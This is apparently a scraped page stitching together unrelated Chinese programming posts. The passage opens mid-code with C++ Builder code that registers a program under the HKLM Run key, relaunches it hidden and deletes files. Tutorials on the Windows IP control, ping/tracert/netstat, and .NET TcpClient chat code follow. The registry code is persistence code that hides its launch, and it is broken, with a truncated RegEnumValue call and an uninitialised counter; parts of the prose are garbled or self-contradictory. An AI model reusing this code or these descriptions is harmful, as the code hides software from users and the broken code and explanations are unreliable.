   RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  NewProgramName.c_str(),

  NewProgramName.Length());

  RegCloseKey(hkey);

  if (int(ShellExecute(Handle,

  "open",

  NewProgramName.c_str(),

  NULL,

  NULL,

  SW_HIDE))>32)

  {

   WantClose=true;

  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,&k);

  RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自装载程序的卸载代码:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

   RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumValue(hkey,(DWORD)num,str,  if (strcmp(str,"BackGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自装载部分使用C++ Builder可以这样写,会比较简化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

使用Windows系统提供的IP控件

作者:ccrun       来源:
在网络程序中,我们常常碰到需要用户输入IP地址的情况。然而C++ Builder并没有为我们提供可以用于输入IP串的控件,于是我们只好用TEdit控件(单行文本框)来接受用户输入的IP串。但是,使用TEdit来输入IP串并不是一个好的主意,因为处理起来非常不方便。事实上,在我们的身旁有一个专门用来输入IP串的Windows控件,就象网络链接属性中, Internet 协议 (TCP/IP) 属性中输入IP的控件。IP控件会拒绝非法的IP串(在每个部分只能输入0~255之间的数字);它让你可以轻松地获取控件中的IP串所对应的IP值(32位整数),这省去了IP串和IP值之间相互转换的麻烦;此外,你还能限制IP控件中所能输入的IP的范围。在本文中,我将向大家介绍如何在我们的C++ Builder程序中使用Windows的IP控件。

Windows中有两个非常重要的动态联结库:commctrl.dll和comctl32.dll,它们是Windows的自定义控制库(Windows Common Controls)。自定义控制库中包含了许多常用的Windows控件,如Statusbar,Coolbar,HotKey等;在C++ Builder中,这些控件大多数都已被包装成可视化控件了。在Microsoft推出Internet Explorer 3之后,自定义控制库中新增了一些控件,其中就包括Windows的IP控件(IP Address edit control)。

●初始化Windows自定义控制库●
Windows提供了两个API函数,InitCommonControls和InitCommonControlsEx,用来初始化自定义控制库。从名字我们不难看出这两个API函数的关系:后者是前者的增强。如果你希望在程序中使用IP控件,你必须用InitCommonControlsEx来完成对自定义控制库以及类的初始化。函数InitCommonControlsEx的原型如下:

typedef struct tagINITCOMMONCONTROLSEX {
    DWORD dwSize;             // size of this structure
    DWORD dwICC;              // flags indicating which classes to be initialized
} INITCOMMONCONTROLSEX, *LPINITCOMMONCONTROLSEX;

WINCOMMCTRLAPI BOOL WINAPI InitCommonControlsEx(LPINITCOMMONCONTROLSEX);

IP控件属于ICC_INTERNET_CLASSES类别的控件,如果要使用该控件,你应该在程序中包含如下的初始化代码:

TInitCommonControlsEx ICC;
ICC.dwSize = sizeof(TInitCommonControlsEx);
ICC.dwICC  = ICC_INTERNET_CLASSES;
if(!InitCommonControlsEx(&ICC))
    return;  //初始化组件失败

●创建IP控件●
Windows API函数CreateWindow或者CreateWindowEx都可以用来创建一个IP控件实例。IP控件的窗口类名为"SysIPAddress32",C++ Builder的commctrl.pas单元为其定义了一个符号常量WC_IPADDRESS。下面这条语句将在Form1上创建一个IP控件。

HWND hIpEdit = CreateWindow(WC_IPADDRESS,NULL,WS_CHILD|WS_VISIBLE,10,10,135,47,Handle,0,HInstance,NULL);

●使用IP控件●
在程序中,我们通过向IP控件发送消息来与它通讯。IP控件可以响应的消息有以下6个,

这些消息及它们的含义见下表:

消息常量            消息值         作用                                      参数及返回值
IPM_CLEARADDRESS    WM_USER+100    清除IP控件中的IP串                        参数无
IPM_SETADDRESS      WM_USER+101    设置IP控件的IP串                          Lparam为32位的IP值
IPM_GETADDRESS      WM_USER+102    获取IP控件中的IP串所对应的IP值(32位整数)  Lparam为一个指向Integer变量的指针。返回值等于IP控件中非控的字段数目;获取到的IP值存放在lparam 所指向的Integer变量中。  
IPM_SETRANGE        WM_USER+103    设置IP控件4个部分的其中一个的IP取值范围   Wparam指明要设置取值范围的部分;lparam的低16位字为该字段的范围:高字节为上限,低字节为下限。
IPM_SETFOCUS        WM_USER+104    设输入焦点                                Wparam指明哪个部分获取焦点
IPM_ISBLANK         WM_USER+105    IP串是否为空                              参数无。返回值:若为空,返回非0;不为空,返回0

★㈠清空IP串(IPM_CLEARADDRESS)★
SendMessage(hIpEdit,IPM_CLEARADDRESS,0,0);

★㈡设置IP串(IPM_SETADDRESS)★
int nIP;
nIP=MAKEIPADDRESS(192,168,0,1);
SendMessage(hIpEdit,IPM_SETADDRESS,0,nIP);

此例将IP控件的内容设为"192.168.0.1",其中MAKEIPADDRESS是一个Win32宏,定义在commctrl.h头文件中,它用来合成一个32位的IP值:
#define MAKEIPADDRESS(b1,b2,b3,b4)
((LPARAM)(((DWORD)(b1)<<24)+((DWORD)(b2)<<16)+((DWORD)(b3)<<8)+((DWORD)(b4))))

★㈢获取IP值(IPM_GETADDRESS)★
int nIP;
SendMessage(hIpEdit,IPM_GETADDRESS,0,int(&nIP));
//nIP++;
//SendMessage(hIpEdit,IPM_SETADDRESS,0,nIP);   //将IP加1再赋给IP控件。

若想要获取IP控件中IP串所对应的IP值,你应该向IP控件发送IPM_GETADDRESS消息,并且需要把一个32位整数的地址作为SendMessage的最后一个参数。

★㈣设置取值范围(IPM_SETRANGE)★
SendMessage (hIpEdit, IPM_SETRANGE, 0, 200<<8|100);
此语句将IP控件的第一部分的范围限制为100~200。在IPM_SETRANGE消息中,Wparam指明要设置的字段, 而lparam的低16位字为该字段的范围:高字节为上限,低字节为下限。

★㈤设置输入焦点(IPM_SETFOCUS)★
SendMessage(hIpEdit,IPM_SETFOCUS,3,0);
//将输入焦点设在IP控件的第四部分。

㈥判断IP串是否为空(IPM_ISBLANK)
if(!SendMessage(hIpEdit,IPM_ISBLANK,0,0))
{
    //IP控件中的IP串为空
}
else
{
    //IP控件中的IP串至少有一部分不是空的
}

●IP控件的通知消息●
当IP串被改动后或者输入焦点发生了转移,IP控件就会向它的父窗口发送通知消息IPN_FIELDCHANGED。在大多数情况下,我们都可以忽略此通知消息。以下是处理通知消息IPN_FIELDCHANGED的一个示例:

void __fastcall TForm1::WndProc(TMessage &Msg)
{
    LPNMHDR p=(LPNMHDR)Msg.LParam;
    if(Msg.Msg==WM_NOTIFY)
    {
        if(p->code==IPN_FIELDCHANGED)
        {
            //处理IP控件的IPN_FIELDCHANGED通知消息
        }
    }
    TForm::WndProc(Msg);
}

2005年04月27日

了解和掌握下面几个命令将会有助于您更快地检测到网络故障所在,从而节省时间,提高效率。

Ping

Ping是测试网络联接状况以及信息包发送和接收状况非常有用的工具,是网络测试最
常用的命令。Ping向目标主机(地址)发送一个回送请求数据包,要求目标主机收到请求后给予答复,从而判断网络的响应时间和本机是否与目标主机(地址)联通。

如果执行Ping不成功,则可以预测故障出现在以下几个方面:网线故障,网络适配器配置不正确,IP地址不正确。如果执行Ping成功而网络仍无法使用,那么问题很可能出在网络系统的软件配置方面,Ping成功只能保证本机与目标主机间存在一条连通的物理路径。

命令格式:

ping IP地址或主机名 [-t] [-a] [-n count] [-l size]

参数含义:

-t不停地向目标主机发送数据;

-a 以IP地址格式来显示目标主机的网络地址 ;

-n count 指定要Ping多少次,具体次数由count来指定 ;

-l size 指定发送到目标主机的数据包的大小。

例如当您的机器不能访问Internet,首先您想确认是否是本地局域网的故障。假定局域网的代理服务器IP地址为202.168.0.1,您可以使用Ping避免202.168.0.1命令查看本机是否和代理服务器联通。又如,测试本机的网卡是否正确安装的常用命令是ping 127.0.0.1。

Tracert

Tracert命令用来显示数据包到达目标主机所经过的路径,并显示到达每个节点的时间。命令功能同Ping类似,但它所获得的信息要比Ping命令详细得多,它把数据包所走的全部路径、节点的IP以及花费的时间都显示出来。该命令比较适用于大型网络。

命令格式:

tracert IP地址或主机名 [-d][-h maximumhops][-j host_list] [-w timeout]

参数含义:

-d 不解析目标主机的名字;

-h maximum_hops 指定搜索到目标地址的最大跳跃数;

-j host_list 按照主机列表中的地址释放源路由;

-w timeout 指定超时时间间隔,程序默认的时间单位是毫秒。

例如大家想要了解自己的计算机与目标主机www.cce.com.cn之间详细的传输路径信息,可以在MS-DOS方式输入tracert www.cce.com.cn

如果我们在Tracert命令后面加上一些参数,还可以检测到其他更详细的信息,例如使用参数-d,可以指定程序在跟踪主机的路径信息时,同时也解析目标主机的域名。

Netstat

Netstat命令可以帮助网络管理员了解网络的整体使用情况。它可以显示当前正在活动的网络连接的详细信息,例如显示网络连接、路由表和网络接口信息,可以统计目前总共有哪些网络连接正在运行。

利用命令参数,命令可以显示所有协议的使用状态,这些协议包括TCP协议、UDP协议以及IP协议等,另外还可以选择特定的协议并查看其具体信息,还能显示所有主机的端口号以及当前主机的详细路由信息。

命令格式:

netstat [-r] [-s] [-n] [-a]

参数含义:

-r 显示本机路由表的内容;

-s 显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议);

-n 以数字表格形式显示地址和端口;

-a 显示所有主机的端口号。

Winipcfg

Winipcfg命令以窗口的形式显示IP协议的具体配置信息,命令可以显示网络适配器的物理地址、主机的IP地址、子网掩码以及默认网关等,还可以查看主机名、DNS服务器、节点类型等相关信息。其中网络适配器的物理地址在检测网络错误时非常有用。

命令格式:

winipcfg [/?] [/all]

参数含义:

/all 显示所有的有关IP地址的配置信息;

/batch [file] 将命令结果写入指定文件;

/renew_ all 重试所有网络适配器;

/release_all 释放所有网络适配器;

/renew N 复位网络适配器 N;

/release N 释放网络适配器 N。

在Microsoft的Windows 95及其以后的操作系统中,都可以运行以上命令。


  前面我们说,TcpClient类创建在Socket之上,在Tcp服务方面提供了更高层次的抽象,体现在网络数据的发送和接受方面,是TcpClient使用标准的Stream流处理技术,使得它读写数据更加方便直观,同时,.Net框架负责提供更丰富的结构来处理流,贯穿于整个.Net框架中的流具有更广泛的兼容性,构建在更一般化的流操作上的通用方法使我们不再需要困惑于文件的实际内容(HTML、XML 或其他任何内容),应用程序都将使用一致的方法(Stream.Write、Stream.Read) 发送和接收数据。另外,流在数据从 Internet 下载的过程中提供对数据的即时访问,可以在部分数据到达时立即开始处理,而不需要等待应用程序下载完整个数据集。.Net中通过NetworkStream类实现了这些处理技术。
  
  NetworkStream 类包含在.Net框架的System.Net.Sockets 命名空间里,该类专门提供用于网络访问的基础数据流。NetworkStream 实现通过网络套接字发送和接收数据的标准.Net 框架流机制。NetworkStream 支持对网络数据流的同步和异步访问。NetworkStream 从 Stream 继承,后者提供了一组丰富的用于方便网络通讯的方法和属性。
  
  同其它继承自抽象基类Stream的所有流一样,NetworkStream网络流也可以被视为一个数据通道,架设在数据来源端(客户Client)和接收端(服务Server)之间,而后的数据读取及写入均针对这个通道来进行。
  
  .Net框架中,NetworkStream流支持两方面的操作:
  
  1、 写入流。写入是从数据结构到流的数据传输。
  
  示 意 图
  
  
  2、读取流。读取是从流到数据结构(如字节数组)的数据传输。
  
  示 意 图
  
  与普通流Stream不同的是,网络流没有当前位置的统一概念,因此不支持查找和对数据流的随机访问。相应属性CanSeek 始终返回 false,而 Seek 和 Position 方法也将引发 NotSupportedException。
  
  基于Socket上的应用协议方面,你可以通过以下两种方式获取NetworkStream网络数据流:
  
  1、使用NetworkStream构造函数:public NetworkStream(Socket, FileAccess, bool);(有重载方法),它用指定的访问权限和指定的 Socket 所属权为指定的 Socket 创建 NetworkStream 类的新实例,使用前你需要创建Socket对象实例,并通过Socket.Connect方法建立与远程服务端的连接,而后才可以使用该方法得到网络传输流。示例如下:
  
  Socket s=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);//创建客户端Socket对象实例
   try{
   s.Connect("www.tuha.net",4088);//建立与远程主机的连接
   }
   catch(Exception e){
   MessageBox.show("连接错误:" +e.Message);
   }
   try{
   NetworkStream stream=new NetworkStream(s,FileAccess.ReadWrite,false);//取得网络传输流
   }
  
  
  2、通过TcpClient.GetStream方法:public NetworkStream etStream();它返回用于发送和接收数据的基础网络流NetworkStream。GetStream 通过将基础 Socket 用作它的构造函数参数来创建 NetworkStream 类的实例。使用前你需要先创TcpClient对象实例并建立与远程主机的连接,示例如下:
  
  TcpClient tcpClient = new TcpClient();//创建TcpClient对象实例
   Try{
   tcpClient.Connect("www.tuha.net",4088);//尝试与远程主机相连
   }
   catch(Exception e){
   MessageBox.Show("连接错误:"+e.Message);
   }
   try{
   NetworkStream stream=tcpClient.GetStream();//获取网络传输流
   }
   catch(Exception e)
   {
   MessageBox.Show("TcpClient错误:"+e.Message);
   }
  
  
  通过以上方法得到NetworkStream网络流之后,你就可以使用标准流读写方法Write和Read来发送和接受数据了。
  
  以上是.Net下使用TcpClient类实现客户端编程的技术资料,为了向客户端提供这些服务,我们还需要编制相应的服务端程序,前一篇《Visual C#.Net网络程序开发-Socket篇》上曾经提到, Socket作为其他网络协议的基础,既可以面向客户端开发,也可以面向服务端开发,在传输层面上使用较多,而在应用协议层面上,客户端我们采用构建于Socket类之上的TcpClient取代Socket;相应地,构建于Socket之上的TcpListener提供了更高理念级别的 TCP 服务,使得我们能更方便地编写服务端应用程序。正是因为这样的原因,像FTP 和 HTTP 这样的应用层协议都是在 TcpListener 类的基础上建立的。
  
  .Net中的TCPListener 用于监视TCP 端口上的传入请求,通过绑定本机IP地址和相应端口(这两者应与客户端的请求一致)创建TcpListener对象实例,并由Start方法启动侦听;当TcpListener侦听到用户端的连接后,视客户端的不同请求方式,通过AcceptTcpClient 方法接受传入的连接请求并创建 TcpClient 以处理请求,或者通过AcceptSocket 方法接受传入的连接请求并创建 Socket 以处理请求。最后,你需要使用 Stop 关闭用于侦听传入连接的 Socket,你必须也关闭从 AcceptSocket 或 AcceptTcpClient 返回的任何实例。这个过程详细解说如下:
  
  首先,创建TcpListener对象实例,这通过TcpListener类的构造方法来实现:
  
  public TcpListener(port);//指定本机端口
  public TcpListener(IPEndPoint)//指定本机终结点
  public TcpListener(IPAddress,port)//指定本机IP地址及端口
  
  
  以上方法中的参数在前面多次提到,这里不再细述,唯一需要提醒的是,这些参数均针对服务端主机。下面的示例演示创建 TcpListener 类的实例:
  
  IPHostEntry ipInfo=Dns.Resolve("127.0.0.1");//主机信息
   IPAddressList[] ipList=ipInfo.IPAddressList;//IP数组
   IPAddress ip=ipList[0];//IP
   try{
   TcpListener tcpListener = new TcpListener(ipAddress, 4088);//创建TcpListener对象实例以侦听用户端连接
   }
   catch ( Exception e){
   MessageBox.Show("TcpListener错误:"+e.Message);
   }
  
  
  随后,你需要调用Start方法启动侦听:
  
  public void Start();
  
  
  其次,当侦听到有用户端连接时,需要接受挂起的连接请求,这通过调用以下两方法之一来完成连接:
  
  public Socket AcceptSocket();
  public TcpClient AcceptTcpClient();
  
  
  前一个方法返回代表客户端的Socket对象,随后可以通过Socket 类的 Send 和 Receive 方法与远程计算机通讯;后一个方法返回代表客户端的TcpClient对象,随后使用上面介绍的 TcpClient.GetStream 方法获取 TcpClient 的基础网络流 NetworkStream,并使用流读写Read/Write方法与远程计算机通讯。
  
  最后,请记住关闭侦听器:public void Stop();
  
  同时关闭其他连接实例:public void Close();
  
  下面的示例完整体现了上面的过程:
  
  bool done = false;
   TcpListener listener = new TcpListener(13);// 创建TcpListener对象实例(13号端口提供时间服务)
   listener.Start();//启动侦听
   while (!done) {//进入无限循环以侦听用户连接
   TcpClient client = listener.AcceptTcpClient();//侦听到连接后创建客户端连接TcpClient
   NetworkStream ns = client.GetStream();//得到网络传输流
   byte[] byteTime = Encoding.ASCII.GetBytes(DateTime.Now.ToString());//预发送的内容(此为服务端时间)转换为字节数组以便写入流
   try {
   ns.Write(byteTime, 0, byteTime.Length);//写入流
   ns.Close();//关闭流
   client.Close();//关闭客户端连接
   }
  catch (Exception e) {
   MessageBox.Show("流错误:"+e.Message)
   }


     综合运用上面的知识,下面的实例实现了简单的网络通讯-双机互连,针对客户端和服务端分别编制了应用程序。客户端创建到服务端的连接,向远程主机发送连接请求连接信号,并发送交谈内容;远程主机端接收来自客户的连接,向客户端发回确认连接的信号,同时接收并显示客户端的交谈内容。在这个基础上,发挥你的创造力,你完全可以开发出一个基于程序语言(C#)级的聊天室!
  
  客户端主要源代码:
  
   public void SendMeg()//发送信息
   {
  try
  {
  
  
  int port=Int32.Parse(textBox3.Text.ToString());//远程主机端口
   try
   {
   tcpClient=new TcpClient(textBox1.Text,port);//创建TcpClient对象实例 }
   catch(Exception le)
   {
   MessageBox.Show("TcpClient Error:"+le.Message);
   }
  string strDateLine=DateTime.Now.ToShortDateString()+" "+DateTime.Now.ToLongTimeString();//得到发送时客户端时间
   netStream=tcpClient.GetStream();//得到网络流
   sw=new StreamWriter(netStream);//创建TextWriter,向流中写字符
   string words=textBox4.Text;//待发送的话
   string content=strDateLine+words;//待发送内容
   sw.Write(content);//写入流
   sw.Close();//关闭流写入器
   netStream.Close();//关闭网络流
   tcpClient.Close();//关闭客户端连接
  }
  catch(Exception ex)
   {
   MessageBox.Show("Sending Message Failed!"+ex.Message);
   }
   textBox4.Text="";//清空
   }
  
  
  服务器端主要源代码:
  
   public void StartListen()//侦听特定端口的用户请求
   {
  //ReceiveMeg();
  isLinked=false; //连接标志
   try
   {
   int port=Int32.Parse(textBox1.Text.ToString());//本地待侦听端口
   serverListener=new TcpListener(port);//创建TcpListener对象实例
   serverListener.Start(); //启动侦听
   }
   catch(Exception ex)
   {
   MessageBox.Show("Can’t Start Server"+ex.Message);
   return;
   }
   isLinked=true;
   while(true)//进入无限循环等待用户端连接
   {
   try
   {
   tcpClient=serverListener.AcceptTcpClient();//创建客户端连接对象
   netStream=tcpClient.GetStream();//得到网络流
   sr=new StreamReader(netStream);//流读写器
   }
   catch(Exception re)
   {
   MessageBox.Show(re.Message);
   }
   string buffer="";
  string received="";
   received+=sr.ReadLine();//读流中一行
   while(received.Length!=0)
   {
   buffer+=received;
   buffer+="\r\n";
   //received="";
   received=sr.ReadLine();
   }
  listBox1.Items.Add(buffer);//显示
  //关闭
  sr.Close();
  netStream.Close();
  tcpClient.Close();
  }
  }